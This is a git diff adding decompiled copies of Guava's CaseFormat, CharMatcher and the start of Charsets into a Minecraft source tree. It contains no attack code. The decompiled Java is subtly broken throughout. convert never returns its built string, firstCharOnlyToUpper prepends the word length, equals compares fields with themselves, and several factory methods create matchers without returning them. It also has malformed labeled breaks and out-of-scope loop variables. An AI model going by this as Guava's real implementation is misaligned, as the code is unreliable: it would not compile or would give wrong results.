+{
+  LOWER_HYPHEN(CharMatcher.is('-'), "-"), 
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  LOWER_UNDERSCORE(CharMatcher.is('_'), "_"), 
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  LOWER_CAMEL(CharMatcher.inRange('A', 'Z'), ""), 
+  
+
+
+
+
+
+
+
+  UPPER_CAMEL(CharMatcher.inRange('A', 'Z'), ""), 
+  
+
+
+
+
+
+
+
+  UPPER_UNDERSCORE(CharMatcher.is('_'), "_");
+  
+
+
+
+
+  private final CharMatcher wordBoundary;
+  
+
+
+
+  private final String wordSeparator;
+  
+
+
+
+
+  private CaseFormat(CharMatcher wordBoundary, String wordSeparator)
+  {
+    this.wordBoundary = wordBoundary;
+    this.wordSeparator = wordSeparator;
+  }
+  
+
+
+
+
+  public final String to(CaseFormat format, String str)
+  {
+    Preconditions.checkNotNull(format);
+    Preconditions.checkNotNull(str);
+    return format == this ? str : convert(format, str);
+  }
+  
+
+
+
+  String convert(CaseFormat format, String s)
+  {
+    StringBuilder out = null;
+    int i = 0;
+    int j = -1;
+    while ((j = wordBoundary.indexIn(s, ++j)) != -1) {
+      if (i == 0)
+      {
+        out = new StringBuilder(s.length() + 4 * wordSeparator.length());
+        out.append(format.normalizeFirstWord(s.substring(i, j)));
+      } else {
+        out.append(format.normalizeWord(s.substring(i, j)));
+      }
+      out.append(wordSeparator);
+      i = j + wordSeparator.length();
+    }
+    return format.normalizeWord(s.substring(i));
+  }
+  
+
+
+
+
+
+
+
+
+  @Beta
+  public Converter<String, String> converterTo(CaseFormat targetFormat) { return new StringConverter(this, targetFormat); }
+  
+  abstract String normalizeWord(String paramString);
+  
+  private static final class StringConverter extends Converter<String, String> implements Serializable {
+    private final CaseFormat sourceFormat;
+    private final CaseFormat targetFormat;
+    private static final long serialVersionUID = 0L;
+    
+    StringConverter(CaseFormat sourceFormat, CaseFormat targetFormat) {
+      this.sourceFormat = ((CaseFormat)Preconditions.checkNotNull(sourceFormat));
+      this.targetFormat = ((CaseFormat)Preconditions.checkNotNull(targetFormat));
+    }
+    
+    protected String doForward(String s)
+    {
+      return s == null ? null : sourceFormat.to(targetFormat, s);
+    }
+    
+    protected String doBackward(String s)
+    {
+      return s == null ? null : targetFormat.to(sourceFormat, s);
+    }
+    
+    public boolean equals(@Nullable Object object) {
+      if ((object instanceof StringConverter)) {
+        StringConverter that = (StringConverter)object;
+        return (sourceFormat.equals(sourceFormat)) && (targetFormat.equals(targetFormat));
+      }
+      
+      return false;
+    }
+    
+    public int hashCode() {
+      return sourceFormat.hashCode() ^ targetFormat.hashCode();
+    }
+    
+    public String toString() {
+      return sourceFormat + ".converterTo(" + targetFormat + ")";
+    }
+  }
+  
+
+
+
+  private String normalizeFirstWord(String word)
+  {
+    return this == LOWER_CAMEL ? Ascii.toLowerCase(word) : normalizeWord(word);
+  }
+  
+  private static String firstCharOnlyToUpper(String word) {
+    return word.length() + Ascii.toUpperCase(word.charAt(0)) + Ascii.toLowerCase(word.substring(1));
+  }
+}
diff --git a/src/minecraft/com/google/common/base/CharMatcher.java b/src/minecraft/com/google/common/base/CharMatcher.java
new file mode 100644
index 0000000..18f6a6e
--- /dev/null
+++ b/src/minecraft/com/google/common/base/CharMatcher.java
@@ -0,0 +1,1387 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.util.Arrays;
+import java.util.BitSet;
+import javax.annotation.CheckReturnValue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible(emulated=true)
+public abstract class CharMatcher
+  implements Predicate<Character>
+{
+  public static final CharMatcher BREAKING_WHITESPACE = new CharMatcher()
+  {
+    public boolean matches(char c) {
+      switch (c) {
+      case '\t': 
+      case '\n': 
+      case '\013': 
+      case '\f': 
+      case '\r': 
+      case ' ': 
+      case '…': 
+      case ' ': 
+      case '
': 
+      case '
': 
+      case ' ': 
+      case '　': 
+        return true;
+      case ' ': 
+        return false;
+      }
+      return (c >= ' ') && (c <= ' ');
+    }
+    
+
+    public String toString()
+    {
+      return "CharMatcher.BREAKING_WHITESPACE";
+    }
+  };
+  
+
+
+
+  public static final CharMatcher ASCII = inRange('\000', '', "CharMatcher.ASCII");
+  private static final String ZEROES = "0٠۰߀०০੦૦୦௦౦೦൦๐໐༠၀႐០᠐᥆᧐᭐᮰᱀᱐꘠꣐꤀꩐０";
+  private static final String NINES;
+  
+  private static class RangesMatcher extends CharMatcher { private final char[] rangeStarts;
+    private final char[] rangeEnds;
+    
+    RangesMatcher(String description, char[] rangeStarts, char[] rangeEnds) { super();
+      this.rangeStarts = rangeStarts;
+      this.rangeEnds = rangeEnds;
+      Preconditions.checkArgument(rangeStarts.length == rangeEnds.length);
+      for (int i = 0; i < rangeStarts.length; i++) {
+        Preconditions.checkArgument(rangeStarts[i] <= rangeEnds[i]);
+        if (i + 1 < rangeStarts.length) {
+          Preconditions.checkArgument(rangeEnds[i] < rangeStarts[(i + 1)]);
+        }
+      }
+    }
+    
+    public boolean matches(char c)
+    {
+      int index = Arrays.binarySearch(rangeStarts, c);
+      if (index >= 0) {
+        return true;
+      }
+      index = (index ^ 0xFFFFFFFF) - 1;
+      return (index >= 0) && (c <= rangeEnds[index]);
+    }
+  }
+  
+
+
+
+
+
+
+  static
+  {
+    StringBuilder builder = new StringBuilder("0٠۰߀०০੦૦୦௦౦೦൦๐໐༠၀႐០᠐᥆᧐᭐᮰᱀᱐꘠꣐꤀꩐０".length());
+    for (int i = 0; i < "0٠۰߀०০੦૦୦௦౦೦൦๐໐༠၀႐០᠐᥆᧐᭐᮰᱀᱐꘠꣐꤀꩐０".length(); i++) {
+      builder.append((char)("0٠۰߀०০੦૦୦௦౦೦൦๐໐༠၀႐០᠐᥆᧐᭐᮰᱀᱐꘠꣐꤀꩐０".charAt(i) + '\t'));
+    }
+    NINES = builder.toString();
+  }
+  
+
+
+
+
+
+  public static final CharMatcher DIGIT = new RangesMatcher("CharMatcher.DIGIT", "0٠۰߀०০੦૦୦௦౦೦൦๐໐༠၀႐០᠐᥆᧐᭐᮰᱀᱐꘠꣐꤀꩐０".toCharArray(), NINES.toCharArray());
+  
+
+
+
+
+
+
+  public static final CharMatcher JAVA_DIGIT = new CharMatcher("CharMatcher.JAVA_DIGIT") {
+    public boolean matches(char c) {
+      return Character.isDigit(c);
+    }
+  };
+  
+
+
+
+
+
+  public static final CharMatcher JAVA_LETTER = new CharMatcher("CharMatcher.JAVA_LETTER") {
+    public boolean matches(char c) {
+      return Character.isLetter(c);
+    }
+  };
+  
+
+
+
+
+  public static final CharMatcher JAVA_LETTER_OR_DIGIT = new CharMatcher("CharMatcher.JAVA_LETTER_OR_DIGIT")
+  {
+    public boolean matches(char c) {
+      return Character.isLetterOrDigit(c);
+    }
+  };
+  
+
+
+
+
+  public static final CharMatcher JAVA_UPPER_CASE = new CharMatcher("CharMatcher.JAVA_UPPER_CASE")
+  {
+    public boolean matches(char c) {
+      return Character.isUpperCase(c);
+    }
+  };
+  
+
+
+
+
+  public static final CharMatcher JAVA_LOWER_CASE = new CharMatcher("CharMatcher.JAVA_LOWER_CASE")
+  {
+    public boolean matches(char c) {
+      return Character.isLowerCase(c);
+    }
+  };
+  
+
+
+
+
+  public static final CharMatcher JAVA_ISO_CONTROL = inRange('\000', '\037').or(inRange('', 'Ÿ')).withToString("CharMatcher.JAVA_ISO_CONTROL");
+  
+
+
+
+
+
+
+
+
+  public static final CharMatcher INVISIBLE = new RangesMatcher("CharMatcher.INVISIBLE", "\000­؀؜۝܏ ᠎ 
 ⁦⁧⁨⁩　?".toCharArray(), "  ­؄؜۝܏ ᠎‏ ⁤⁦⁧⁨⁩　".toCharArray());
+  
+
+
+
+  private static String showCharacter(char c)
+  {
+    String hex = "0123456789ABCDEF";
+    char[] tmp = { '\\', 'u', '\000', '\000', '\000', '\000' };
+    for (int i = 0; i < 4; i++) {
+      tmp[(5 - i)] = hex.charAt(c & 0xF);
+      c = (char)(c >> '\004');
+    }
+    return String.copyValueOf(tmp);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static final CharMatcher SINGLE_WIDTH = new RangesMatcher("CharMatcher.SINGLE_WIDTH", "\000־א׳؀ݐ฀Ḁ℀ﭐﹰ｡".toCharArray(), "ӹ־ת״ۿݿ๿₯℺﷿ￜ".toCharArray());
+  
+
+
+
+  public static final CharMatcher ANY = new FastMatcher("CharMatcher.ANY")
+  {
+    public boolean matches(char c) {
+      return true;
+    }
+    
+    public int indexIn(CharSequence sequence) {
+      return sequence.length() == 0 ? -1 : 0;
+    }
+    
+    public int indexIn(CharSequence sequence, int start) {
+      int length = sequence.length();
+      Preconditions.checkPositionIndex(start, length);
+      return start == length ? -1 : start;
+    }
+    
+    public int lastIndexIn(CharSequence sequence) {
+      return sequence.length() - 1;
+    }
+    
+    public boolean matchesAllOf(CharSequence sequence) {
+      Preconditions.checkNotNull(sequence);
+      return true;
+    }
+    
+    public boolean matchesNoneOf(CharSequence sequence) {
+      return sequence.length() == 0;
+    }
+    
+    public String removeFrom(CharSequence sequence) {
+      Preconditions.checkNotNull(sequence);
+      return "";
+    }
+    
+    public String replaceFrom(CharSequence sequence, char replacement) {
+      char[] array = new char[sequence.length()];
+      Arrays.fill(array, replacement);
+      return new String(array);
+    }
+    
+    public String replaceFrom(CharSequence sequence, CharSequence replacement) {
+      StringBuilder retval = new StringBuilder(sequence.length() * replacement.length());
+      for (int i = 0; i < sequence.length(); i++) {
+        retval.append(replacement);
+      }
+      return retval.toString();
+    }
+    
+    public String collapseFrom(CharSequence sequence, char replacement) {
+      return sequence.length() == 0 ? "" : String.valueOf(replacement);
+    }
+    
+    public String trimFrom(CharSequence sequence) {
+      Preconditions.checkNotNull(sequence);
+      return "";
+    }
+    
+    public int countIn(CharSequence sequence) {
+      return sequence.length();
+    }
+    
+    public CharMatcher and(CharMatcher other) {
+      return (CharMatcher)Preconditions.checkNotNull(other);
+    }
+    
+    public CharMatcher or(CharMatcher other) {
+      Preconditions.checkNotNull(other);
+      return this;
+    }
+    
+    public CharMatcher negate() {
+      return NONE;
+    }
+  };
+  
+
+  public static final CharMatcher NONE = new FastMatcher("CharMatcher.NONE")
+  {
+    public boolean matches(char c) {
+      return false;
+    }
+    
+    public int indexIn(CharSequence sequence) {
+      Preconditions.checkNotNull(sequence);
+      return -1;
+    }
+    
+    public int indexIn(CharSequence sequence, int start) {
+      int length = sequence.length();
+      Preconditions.checkPositionIndex(start, length);
+      return -1;
+    }
+    
+    public int lastIndexIn(CharSequence sequence) {
+      Preconditions.checkNotNull(sequence);
+      return -1;
+    }
+    
+    public boolean matchesAllOf(CharSequence sequence) {
+      return sequence.length() == 0;
+    }
+    
+    public boolean matchesNoneOf(CharSequence sequence) {
+      Preconditions.checkNotNull(sequence);
+      return true;
+    }
+    
+    public String removeFrom(CharSequence sequence) {
+      return sequence.toString();
+    }
+    
+    public String replaceFrom(CharSequence sequence, char replacement) {
+      return sequence.toString();
+    }
+    
+    public String replaceFrom(CharSequence sequence, CharSequence replacement) {
+      Preconditions.checkNotNull(replacement);
+      return sequence.toString();
+    }
+    
+    public String collapseFrom(CharSequence sequence, char replacement) {
+      return sequence.toString();
+    }
+    
+    public String trimFrom(CharSequence sequence) {
+      return sequence.toString();
+    }
+    
+    public String trimLeadingFrom(CharSequence sequence)
+    {
+      return sequence.toString();
+    }
+    
+    public String trimTrailingFrom(CharSequence sequence)
+    {
+      return sequence.toString();
+    }
+    
+    public int countIn(CharSequence sequence) {
+      Preconditions.checkNotNull(sequence);
+      return 0;
+    }
+    
+    public CharMatcher and(CharMatcher other) {
+      Preconditions.checkNotNull(other);
+      return this;
+    }
+    
+    public CharMatcher or(CharMatcher other) {
+      return (CharMatcher)Preconditions.checkNotNull(other);
+    }
+    
+    public CharMatcher negate() {
+      return ANY;
+    }
+  };
+  final String description;
+  private static final int DISTINCT_CHARS = 65536;
+  static final String WHITESPACE_TABLE = " 　\r…   　
\013　   　 \t     \f 　 　　
\n 　";
+  static final int WHITESPACE_MULTIPLIER = 1682554634;
+  
+  public static CharMatcher is(final char match)
+  {
+    String description = "CharMatcher.is('" + showCharacter(match) + "')";
+    new FastMatcher(description) {
+      public boolean matches(char c) {
+        return c == match;
+      }
+      
+      public String replaceFrom(CharSequence sequence, char replacement) {
+        return sequence.toString().replace(match, replacement);
+      }
+      
+      public CharMatcher and(CharMatcher other) {
+        return other.matches(match) ? this : NONE;
+      }
+      
+      public CharMatcher or(CharMatcher other) {
+        return other.matches(match) ? other : super.or(other);
+      }
+      
+      public CharMatcher negate() {
+        return isNot(match);
+      }
+      
+      @GwtIncompatible("java.util.BitSet")
+      void setBits(BitSet table)
+      {
+        table.set(match);
+      }
+    };
+  }
+  
+
+
+
+
+  public static CharMatcher isNot(final char match)
+  {
+    String description = "CharMatcher.isNot('" + showCharacter(match) + "')";
+    new FastMatcher(description) {
+      public boolean matches(char c) {
+        return c != match;
+      }
+      
+      public CharMatcher and(CharMatcher other) {
+        return other.matches(match) ? super.and(other) : other;
+      }
+      
+      public CharMatcher or(CharMatcher other) {
+        return other.matches(match) ? ANY : this;
+      }
+      
+      @GwtIncompatible("java.util.BitSet")
+      void setBits(BitSet table)
+      {
+        table.set(0, match);
+        table.set(match + '\001', 65536);
+      }
+      
+      public CharMatcher negate() {
+        return is(match);
+      }
+    };
+  }
+  
+
+
+
+  public static CharMatcher anyOf(CharSequence sequence)
+  {
+    switch (sequence.length()) {
+    case 0: 
+      return NONE;
+    case 1: 
+      return is(sequence.charAt(0));
+    case 2: 
+      return isEither(sequence.charAt(0), sequence.charAt(1));
+    }
+    
+    
+
+    final char[] chars = sequence.toString().toCharArray();
+    Arrays.sort(chars);
+    StringBuilder description = new StringBuilder("CharMatcher.anyOf(\"");
+    for (char c : chars) {
+      description.append(showCharacter(c));
+    }
+    description.append("\")");
+    new CharMatcher(description.toString()) {
+      public boolean matches(char c) {
+        return Arrays.binarySearch(chars, c) >= 0;
+      }
+      
+      @GwtIncompatible("java.util.BitSet")
+      void setBits(BitSet table)
+      {
+        for (char c : chars) {
+          table.set(c);
+        }
+      }
+    };
+  }
+  
+
+  private static CharMatcher isEither(final char match1, final char match2)
+  {
+    String description = "CharMatcher.anyOf(\"" + showCharacter(match1) + showCharacter(match2) + "\")";
+    
+    new FastMatcher(description) {
+      public boolean matches(char c) {
+        return (c == match1) || (c == match2);
+      }
+      
+      @GwtIncompatible("java.util.BitSet")
+      void setBits(BitSet table) {
+        table.set(match1);
+        table.set(match2);
+      }
+    };
+  }
+  
+
+
+
+  public static CharMatcher noneOf(CharSequence sequence)
+  {
+    return anyOf(sequence).negate();
+  }
+  
+
+
+
+
+
+
+  public static CharMatcher inRange(char startInclusive, char endInclusive)
+  {
+    Preconditions.checkArgument(endInclusive >= startInclusive);
+    String description = "CharMatcher.inRange('" + showCharacter(startInclusive) + "', '" + showCharacter(endInclusive) + "')";
+    
+
+    return inRange(startInclusive, endInclusive, description);
+  }
+  
+  static CharMatcher inRange(final char startInclusive, final char endInclusive, String description)
+  {
+    new FastMatcher(description) {
+      public boolean matches(char c) {
+        return (startInclusive <= c) && (c <= endInclusive);
+      }
+      
+      @GwtIncompatible("java.util.BitSet")
+      void setBits(BitSet table) {
+        table.set(startInclusive, endInclusive + '\001');
+      }
+    };
+  }
+  
+
+
+
+  public static CharMatcher forPredicate(final Predicate<? super Character> predicate)
+  {
+    Preconditions.checkNotNull(predicate);
+    if ((predicate instanceof CharMatcher)) {
+      return (CharMatcher)predicate;
+    }
+    String description = "CharMatcher.forPredicate(" + predicate + ")";
+    new CharMatcher(description) {
+      public boolean matches(char c) {
+        return predicate.apply(Character.valueOf(c));
+      }
+      
+      public boolean apply(Character character) {
+        return predicate.apply(Preconditions.checkNotNull(character));
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+  CharMatcher(String description)
+  {
+    this.description = description;
+  }
+  
+
+
+
+  protected CharMatcher()
+  {
+    description = super.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public CharMatcher negate()
+  {
+    return new NegatedMatcher(this);
+  }
+  
+  private static class NegatedMatcher extends CharMatcher {
+    final CharMatcher original;
+    
+    NegatedMatcher(String toString, CharMatcher original) {
+      super();
+      this.original = original;
+    }
+    
+    NegatedMatcher(CharMatcher original) {
+      this(original + ".negate()", original);
+    }
+    
+    public boolean matches(char c) {
+      return !original.matches(c);
+    }
+    
+    public boolean matchesAllOf(CharSequence sequence) {
+      return original.matchesNoneOf(sequence);
+    }
+    
+    public boolean matchesNoneOf(CharSequence sequence) {
+      return original.matchesAllOf(sequence);
+    }
+    
+    public int countIn(CharSequence sequence) {
+      return sequence.length() - original.countIn(sequence);
+    }
+    
+    @GwtIncompatible("java.util.BitSet")
+    void setBits(BitSet table)
+    {
+      BitSet tmp = new BitSet();
+      original.setBits(tmp);
+      tmp.flip(0, 65536);
+      table.or(tmp);
+    }
+    
+    public CharMatcher negate() {
+      return original;
+    }
+    
+    CharMatcher withToString(String description)
+    {
+      return new NegatedMatcher(description, original);
+    }
+  }
+  
+
+
+  public CharMatcher and(CharMatcher other)
+  {
+    return new And(this, (CharMatcher)Preconditions.checkNotNull(other));
+  }
+  
+  private static class And extends CharMatcher {
+    final CharMatcher first;
+    final CharMatcher second;
+    
+    And(CharMatcher a, CharMatcher b) {
+      this(a, b, "CharMatcher.and(" + a + ", " + b + ")");
+    }
+    
+    And(CharMatcher a, CharMatcher b, String description) {
+      super();
+      first = ((CharMatcher)Preconditions.checkNotNull(a));
+      second = ((CharMatcher)Preconditions.checkNotNull(b));
+    }
+    
+    public boolean matches(char c)
+    {
+      return (first.matches(c)) && (second.matches(c));
+    }
+    
+    @GwtIncompatible("java.util.BitSet")
+    void setBits(BitSet table)
+    {
+      BitSet tmp1 = new BitSet();
+      first.setBits(tmp1);
+      BitSet tmp2 = new BitSet();
+      second.setBits(tmp2);
+      tmp1.and(tmp2);
+      table.or(tmp1);
+    }
+    
+    CharMatcher withToString(String description)
+    {
+      return new And(first, second, description);
+    }
+  }
+  
+
+
+  public CharMatcher or(CharMatcher other)
+  {
+    return new Or(this, (CharMatcher)Preconditions.checkNotNull(other));
+  }
+  
+  private static class Or extends CharMatcher {
+    final CharMatcher first;
+    final CharMatcher second;
+    
+    Or(CharMatcher a, CharMatcher b, String description) {
+      super();
+      first = ((CharMatcher)Preconditions.checkNotNull(a));
+      second = ((CharMatcher)Preconditions.checkNotNull(b));
+    }
+    
+    Or(CharMatcher a, CharMatcher b) {
+      this(a, b, "CharMatcher.or(" + a + ", " + b + ")");
+    }
+    
+    @GwtIncompatible("java.util.BitSet")
+    void setBits(BitSet table)
+    {
+      first.setBits(table);
+      second.setBits(table);
+    }
+    
+    public boolean matches(char c)
+    {
+      return (first.matches(c)) || (second.matches(c));
+    }
+    
+    CharMatcher withToString(String description)
+    {
+      return new Or(first, second, description);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public CharMatcher precomputed()
+  {
+    return Platform.precomputeCharMatcher(this);
+  }
+  
+
+
+
+
+
+  CharMatcher withToString(String description)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("java.util.BitSet")
+  CharMatcher precomputedInternal()
+  {
+    BitSet table = new BitSet();
+    setBits(table);
+    int totalCharacters = table.cardinality();
+    if (totalCharacters * 2 <= 65536) {
+      return precomputedPositive(totalCharacters, table, description);
+    }
+    
+    table.flip(0, 65536);
+    int negatedCharacters = 65536 - totalCharacters;
+    String suffix = ".negate()";
+    String negatedDescription = description + suffix;
+    
+
+    return new NegatedFastMatcher(toString(), precomputedPositive(negatedCharacters, table, negatedDescription));
+  }
+  
+
+
+  static abstract class FastMatcher
+    extends CharMatcher
+  {
+    FastMatcher() {}
+    
+
+
+    FastMatcher(String description)
+    {
+      super();
+    }
+    
+    public final CharMatcher precomputed()
+    {
+      return this;
+    }
+    
+    public CharMatcher negate()
+    {
+      return new CharMatcher.NegatedFastMatcher(this);
+    }
+  }
+  
+  static final class NegatedFastMatcher extends CharMatcher.NegatedMatcher {
+    NegatedFastMatcher(CharMatcher original) {
+      super();
+    }
+    
+    NegatedFastMatcher(String toString, CharMatcher original) {
+      super(original);
+    }
+    
+    public final CharMatcher precomputed()
+    {
+      return this;
+    }
+    
+    CharMatcher withToString(String description)
+    {
+      return new NegatedFastMatcher(description, original);
+    }
+  }
+  
+
+
+
+
+
+  @GwtIncompatible("java.util.BitSet")
+  private static CharMatcher precomputedPositive(int totalCharacters, BitSet table, String description)
+  {
+    switch (totalCharacters) {
+    case 0: 
+      return NONE;
+    case 1: 
+      return is((char)table.nextSetBit(0));
+    case 2: 
+      char c1 = (char)table.nextSetBit(0);
+      char c2 = (char)table.nextSetBit(c1 + '\001');
+      return isEither(c1, c2);
+    }
+    return isSmall(totalCharacters, table.length()) ? SmallCharMatcher.from(table, description) : new BitSetMatcher(table, description, null);
+  }
+  
+
+
+  @GwtIncompatible("SmallCharMatcher")
+  private static boolean isSmall(int totalCharacters, int tableLength)
+  {
+    return (totalCharacters <= 1023) && (tableLength > totalCharacters * 4 * 16);
+  }
+  
+  @GwtIncompatible("java.util.BitSet")
+  private static class BitSetMatcher extends CharMatcher.FastMatcher
+  {
+    private final BitSet table;
+    
+    private BitSetMatcher(BitSet table, String description)
+    {
+      super();
+      if (table.length() + 64 < table.size()) {
+        table = (BitSet)table.clone();
+      }
+      
+      this.table = table;
+    }
+    
+    public boolean matches(char c) {
+      return table.get(c);
+    }
+    
+    void setBits(BitSet bitSet)
+    {
+      bitSet.or(table);
+    }
+  }
+  
+
+
+  @GwtIncompatible("java.util.BitSet")
+  void setBits(BitSet table)
+  {
+    for (int c = 65535; c >= 0; c--) {
+      if (matches((char)c)) {
+        table.set(c);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean matchesAnyOf(CharSequence sequence)
+  {
+    return !matchesNoneOf(sequence);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean matchesAllOf(CharSequence sequence)
+  {
+    for (int i = sequence.length() - 1; i >= 0; i--) {
+      if (!matches(sequence.charAt(i))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean matchesNoneOf(CharSequence sequence)
+  {
+    return indexIn(sequence) == -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int indexIn(CharSequence sequence)
+  {
+    int length = sequence.length();
+    for (int i = 0; i < length; i++) {
+      if (matches(sequence.charAt(i))) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int indexIn(CharSequence sequence, int start)
+  {
+    int length = sequence.length();
+    Preconditions.checkPositionIndex(start, length);
+    for (int i = start; i < length; i++) {
+      if (matches(sequence.charAt(i))) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int lastIndexIn(CharSequence sequence)
+  {
+    for (int i = sequence.length() - 1; i >= 0; i--) {
+      if (matches(sequence.charAt(i))) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+  public int countIn(CharSequence sequence)
+  {
+    int count = 0;
+    for (int i = 0; i < sequence.length(); i++) {
+      if (matches(sequence.charAt(i))) {
+        count++;
+      }
+    }
+    return count;
+  }
+  
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public String removeFrom(CharSequence sequence)
+  {
+    String string = sequence.toString();
+    int pos = indexIn(string);
+    if (pos == -1) {
+      return string;
+    }
+    
+    char[] chars = string.toCharArray();
+    int spread = 1;
+    
+    for (;;)
+    {
+      pos++;
+      for (;;) {
+        if (pos == chars.length) {
+          break label79;
+        }
+        if (matches(chars[pos])) {
+          break;
+        }
+        chars[(pos - spread)] = chars[pos];
+        pos++;
+      }
+      spread++; }
+    label79:
+    return new String(chars, 0, pos - spread);
+  }
+  
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public String retainFrom(CharSequence sequence)
+  {
+    return negate().removeFrom(sequence);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public String replaceFrom(CharSequence sequence, char replacement)
+  {
+    String string = sequence.toString();
+    int pos = indexIn(string);
+    if (pos == -1) {
+      return string;
+    }
+    char[] chars = string.toCharArray();
+    chars[pos] = replacement;
+    for (int i = pos + 1; i < chars.length; i++) {
+      if (matches(chars[i])) {
+        chars[i] = replacement;
+      }
+    }
+    return new String(chars);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public String replaceFrom(CharSequence sequence, CharSequence replacement)
+  {
+    int replacementLen = replacement.length();
+    if (replacementLen == 0) {
+      return removeFrom(sequence);
+    }
+    if (replacementLen == 1) {
+      return replaceFrom(sequence, replacement.charAt(0));
+    }
+    
+    String string = sequence.toString();
+    int pos = indexIn(string);
+    if (pos == -1) {
+      return string;
+    }
+    
+    int len = string.length();
+    StringBuilder buf = new StringBuilder(len * 3 / 2 + 16);
+    
+    int oldpos = 0;
+    do {
+      buf.append(string, oldpos, pos);
+      buf.append(replacement);
+      oldpos = pos + 1;
+      pos = indexIn(string, oldpos);
+    } while (pos != -1);
+    
+    buf.append(string, oldpos, len);
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public String trimFrom(CharSequence sequence)
+  {
+    int len = sequence.length();
+    
+
+
+    for (int first = 0; first < len; first++) {
+      if (!matches(sequence.charAt(first))) {
+        break;
+      }
+    }
+    for (int last = len - 1; last > first; last--) {
+      if (!matches(sequence.charAt(last))) {
+        break;
+      }
+    }
+    
+    return sequence.subSequence(first, last + 1).toString();
+  }
+  
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public String trimLeadingFrom(CharSequence sequence)
+  {
+    int len = sequence.length();
+    for (int first = 0; first < len; first++) {
+      if (!matches(sequence.charAt(first))) {
+        return sequence.subSequence(first, len).toString();
+      }
+    }
+    return "";
+  }
+  
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public String trimTrailingFrom(CharSequence sequence)
+  {
+    int len = sequence.length();
+    for (int last = len - 1; last >= 0; last--) {
+      if (!matches(sequence.charAt(last))) {
+        return sequence.subSequence(0, last + 1).toString();
+      }
+    }
+    return "";
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public String collapseFrom(CharSequence sequence, char replacement)
+  {
+    int len = sequence.length();
+    for (int i = 0; i < len; i++) {
+      char c = sequence.charAt(i);
+      if (matches(c)) {
+        if ((c == replacement) && ((i == len - 1) || (!matches(sequence.charAt(i + 1)))))
+        {
+
+          i++;
+        } else {
+          StringBuilder builder = new StringBuilder(len).append(sequence.subSequence(0, i)).append(replacement);
+          
+
+          return finishCollapseFrom(sequence, i + 1, len, replacement, builder, true);
+        }
+      }
+    }
+    
+    return sequence.toString();
+  }
+  
+
+
+
+
+
+  @CheckReturnValue
+  public String trimAndCollapseFrom(CharSequence sequence, char replacement)
+  {
+    int len = sequence.length();
+    
+
+
+    for (int first = 0; (first < len) && (matches(sequence.charAt(first))); first++) {}
+    for (int last = len - 1; (last > first) && (matches(sequence.charAt(last))); last--) {}
+    
+    return (first == 0) && (last == len - 1) ? collapseFrom(sequence, replacement) : finishCollapseFrom(sequence, first, last + 1, replacement, new StringBuilder(last + 1 - first), false);
+  }
+  
+
+
+
+
+
+
+  private String finishCollapseFrom(CharSequence sequence, int start, int end, char replacement, StringBuilder builder, boolean inMatchingGroup)
+  {
+    for (int i = start; i < end; i++) {
+      char c = sequence.charAt(i);
+      if (matches(c)) {
+        if (!inMatchingGroup) {
+          builder.append(replacement);
+          inMatchingGroup = true;
+        }
+      } else {
+        builder.append(c);
+        inMatchingGroup = false;
+      }
+    }
+    return builder.toString();
+  }
+  
+
+
+
+
+  @Deprecated
+  public boolean apply(Character character)
+  {
+    return matches(character.charValue());
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return description;
+  }
+  
+
+
+
+
+
+
+  static final int WHITESPACE_SHIFT = Integer.numberOfLeadingZeros(" 　\r…   　
\013　   　 \t     \f 　 　　
\n 　".length() - 1);
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static final CharMatcher WHITESPACE = new FastMatcher("WHITESPACE")
+  {
+    public boolean matches(char c) {
+      return " 　\r…   　
\013　   　 \t     \f 　 　　
\n 　".charAt(1682554634 * c >>> WHITESPACE_SHIFT) == c;
+    }
+    
+    @GwtIncompatible("java.util.BitSet")
+    void setBits(BitSet table)
+    {
+      for (int i = 0; i < " 　\r…   　
\013　   　 \t     \f 　 　　
\n 　".length(); i++) {
+        table.set(" 　\r…   　
\013　   　 \t     \f 　 　　
\n 　".charAt(i));
+      }
+    }
+  };
+  
+  public abstract boolean matches(char paramChar);
+}
diff --git a/src/minecraft/com/google/common/base/Charsets.java b/src/minecraft/com/google/common/base/Charsets.java
new file mode 100644
index 0000000..51169df
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Charsets.java
@@ -0,0 +1,84 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Charsets
+{
